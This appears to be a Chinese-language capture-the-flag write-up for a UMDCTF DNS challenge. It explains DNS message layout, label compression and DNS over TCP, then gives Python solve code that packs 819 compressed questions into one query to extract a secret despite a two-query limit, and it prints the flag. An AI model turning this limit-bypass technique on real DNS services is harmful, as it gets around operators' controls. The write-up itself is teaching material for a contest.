A mysterious DNS server is running on the inside. It holds a secret — but you’ll need to be clever to extract it all.
Hint: Can you ask more than one question at a time?
DNS 基础
1. DNS 消息长什么样
DNS 消息在网络上是二进制数据,分五段:
+------------------------+| Header (12 字节) | ← 消息头+------------------------+| Question (问题区) | ← 你问的是哪个域名+------------------------+| Answer (回答区) |+------------------------+| Authority (权威区) |+------------------------+| Additional (附加区) |+------------------------+Header 里最重要的四个字段是计数,告诉解析器每个区有多少条目:
QDCOUNT — 问题区有几个问题ANCOUNT — 回答区有几个回答NSCOUNT — 权威区有几个记录ARCOUNT — 附加区有几个记录一般情况下 QDCOUNT=1,每次只问一个问题。
2. 域名在消息里不是字符串
域名不是直接写 www.example.com。它按 . 拆成标签(labels),每个标签前加 1 字节长度:
www.example.com 编码为:[3] 'w' 'w' 'w' [7] 'e' 'x' 'a' 'm' 'p' 'l' 'e' [3] 'c' 'o' 'm' [0] ↑3字节 ↑7字节 ↑3字节 ↑结束符记这个编码方式,后面解压缩要用到。
3. DNS 名称压缩
同一个域名后缀会在一个消息里反复出现(问题区一个、回答区可能好几个)。每次都完整编码很浪费空间。
解决方案:用 2 字节的指针代替重复标签。
指针怎么和标签区分?标签长度字节的高 2 位是标识位:
| 高 2 位 | 含义 |
|---|---|
| 00 | 普通标签(长度 0-63) |
| 11 | 压缩指针 |
普通标签最长 63 字节,二进制
00111111,高两位永远00。所以用11做指针标识不会混淆。
指针格式:
1 1 | 14-bit OFFSET+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+| 1 1| OFFSET |+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+高 2 位 = 11 → 第一字节 ≥ 192 (0xC0)
低 14 位 = 从消息开头算起的偏移量
举例:0xC0 0x0C
0xC0=11000000→ 是指针- 低 14 位 = 12 → 指向消息偏移 12 的位置
域名可以部分用标签、部分用指针拼接:
FOO.example.com 如果 .example.com 已经在前面出现过:
[3] 'F' 'O' 'O' + [指针指向.example.com的位置] ↑新标签 ↑复用的是后面的所有标签甚至可以整个域名只用一个指针指向之前出现过的相同域名。
4. 一个消息可以问多个问题吗?
可以。QDCOUNT 字段可以大于 1。
不过传统 DNS 服务器通常不支持(RFC 9619 甚至禁止了),但自定义 DNS 服务器可以自己处理。这题的服务端就支持。
5. TCP 也能跑 DNS
常规 DNS 用 UDP 端口 53,但 TCP 也行。
| 项目 | UDP | TCP |
|---|---|---|
| 消息前缀 | 无 | 2 字节长度(大端)+ 消息体 |
| 大小限制 | 传统 DNS 为 512 字节,EDNS 可协商更大值 | 单条消息由 16-bit 长度字段界定,最多 65535 字节,仍受实现限制 |
| 使用场景 | 普通查询 | 大响应、zone transfer |
TCP 传输时:先发 2 字节告诉我们接下来有多少字节的 DNS 消息,再发消息体。
Challenge Overview
题目给了一个自定义 DNS 服务器(监听 TCP),每次连接生成一个 819 字符的随机 secret。
服务器接受两种 TXT 记录查询:
- 单字符查询:查
<N>.inside.info(N 是 0~818)→ 返回第 N 位的字符 - 完整 secret 查询:查
完整secret(用点分63字符块).inside.info→ 返回 flag
限制:每个连接只能发 2 次 DNS 查询,新连接生成全新 secret。
分析
要拿到 819 个字符,但只许问 2 次。意味着第一次查询要一次性提取全部字符。
每次查一个(0.inside.info → 拿字符 0,1.inside.info → 拿字符 1…)如果每个都单独发一次查询,需要 819 次,显然不行。
思路
利用 QDCOUNT > 1,把 819 个问题全部放入一个 DNS 消息:
一条消息里: Question 0: 0.inside.info → TXT Question 1: 1.inside.info → TXT ... Question 818: 818.inside.info → TXT服务端收到 QDCOUNT=819,逐个回答,一次返回 819 个字符。
如果不压缩,每个 question:
0.inside.info的域名编码 ≈ 16 字节- QTYPE(2 字节)+ QCLASS(2 字节)= 字节
- 共 ≈ 20 字节
字节 → 太大了。
819 个 question 共享同一个后缀 .inside.info。
把 .inside.info 的完整标签编码放在消息末尾,每个 question 用2 字节指针指向它:
未压缩的 0.inside.info: [1] '0' [6] 'i' 'n' 's' 'i' 'd' 'e' [4] 'i' 'n' 'f' 'o' [0] ↑每次都重复这堆
压缩后的 0.inside.info: [1] '0' + [2字节指针 → .inside.info] + [QTYPE][QCLASS] ↑只编数字 ↑指向消息末尾的共享后缀 ↑4字节每个 question 从 ~20 字节压缩到 ~7 字节。
字节,TCP 消息完全装得下。
攻击流程
Query 1(塞入 819 个压缩 question):
Header: QDCOUNT=819Question 0: [1]'0' + [指针→.inside.info] + TXT/INQuestion 1: [1]'1' + [指针→.inside.info] + TXT/IN...Question 818: [3]'818' + [指针→.inside.info] + TXT/IN[消息末尾]: 完整的 .inside.info 标签编码 ← 指针指向这里服务器回复 819 条 TXT 记录,每条一个字符。拼接出完整 secret。
Query 2:查 完整secret.inside.info → 拿到 flag。
Exploit Code
import structimport socket
def build_compressed_question(num_bytes, suffix_offset): """构造一个压缩 question: [数字标签] + [2字节指针→后缀] + [QTYPE][QCLASS]""" buf = bytes([len(num_bytes)]) + num_bytes # 标签:长度 + 内容 buf += struct.pack('!H', 0xC000 | suffix_offset) # 指针:指向共享后缀 buf += struct.pack('!HH', 16, 1) # QTYPE=TXT, QCLASS=IN return buf
def read_dns_name(data, pos): """跳过 DNS 域名(可能含压缩指针),返回下一个字段的起始位置""" while pos < len(data): b = data[pos] if b == 0: # 结束符 return pos + 1 if (b & 0xC0) == 0xC0: # 压缩指针,占 2 字节 return pos + 2 pos += 1 + b # 普通标签:1字节长度 + N字节内容 return pos70 collapsed lines
# --- Query 1: 提取全部 819 个字符 ---
# 先构建所有 question(用占位偏移 0)questions_placeholder = b''for i in range(819): num = str(i).encode() questions_placeholder += build_compressed_question(num, 0)
# 计算共享后缀 .inside.info 的偏移位置(在 question 区之后)suffix_offset = 12 + len(questions_placeholder)suffix_encoding = b'\x06inside\x04info\x00'
# 用真实偏移重新构建 questionquestions = b''for i in range(819): num = str(i).encode() questions += build_compressed_question(num, suffix_offset)
# 把后缀编码追加到末尾questions += suffix_encoding
# 组装 DNS 消息dns_header = struct.pack('!HHHHHH', 0x1337, 0x0100, 819, 0, 0, 0)packet = dns_header + questions
# TCP 发送(2 字节长度前缀)sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(('challenge.umdctf.io', 31337))sock.send(struct.pack('!H', len(packet)) + packet)
# TCP 接收(先读 2 字节长度,再读取消息体)resp_len = struct.unpack('!H', sock.recv(2))[0]resp = b''while len(resp) < resp_len: chunk = sock.recv(resp_len - len(resp)) if not chunk: break resp += chunk
# 从响应中解析 819 个 TXT 记录,提取每个字符pos = 12 # 跳过 DNS header# 跳过 question 区(服务端在响应里回显了所有 question)for _ in range(819): pos = read_dns_name(resp, pos) pos += 4 # QTYPE + QCLASS
# 解析 answer 区secret_chars = []for _ in range(819): pos = read_dns_name(resp, pos) # NAME rtype, rclass, ttl, rdlen = struct.unpack('!HHIH', resp[pos:pos+10]) pos += 10 if rtype == 16: # TXT 记录 txt_len = resp[pos] # TXT 的第一个字节是字符串长度 char = resp[pos+1:pos+1+txt_len].decode() secret_chars.append(char) pos += rdlen
secret = ''.join(secret_chars)
# --- Query 2: 拿 flag ---# secret 分成 63 字符的块(DNS 标签长度上限)chunks = [secret[i:i+63] for i in range(0, len(secret), 63)]full_name = '.'.join(chunks) + '.inside.info'
# 编码完整域名 + questionqname = b''for part in full_name.split('.'): qname += bytes([len(part)]) + part.encode()qname += b'\x00'flag_question = qname + struct.pack('!HH', 16, 1)flag_header = struct.pack('!HHHHHH', 0x1338, 0x0100, 1, 0, 0, 0)flag_packet = flag_header + flag_question
sock.send(struct.pack('!H', len(flag_packet)) + flag_packet)# 解析 flag... (与上面类似的 TXT 解析逻辑)sock.close()关键点总结
| 概念 | 在这道题里的作用 |
|---|---|
| QDCOUNT > 1 | 一个消息塞 819 个问题,一次拿到全部字符 |
| 名称压缩(指针) | 每个 question 共享 .inside.info 后缀,大小从 20 字节降到 7 字节 |
| TCP 传输 | 消息太大放不进 UDP,用 TCP 的 2 字节长度前缀可靠传输 |
| TXT 记录 | 服务器用 TXT 返回单字符,1 字节长度前缀 + 1 字节字符 |
Flag
UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}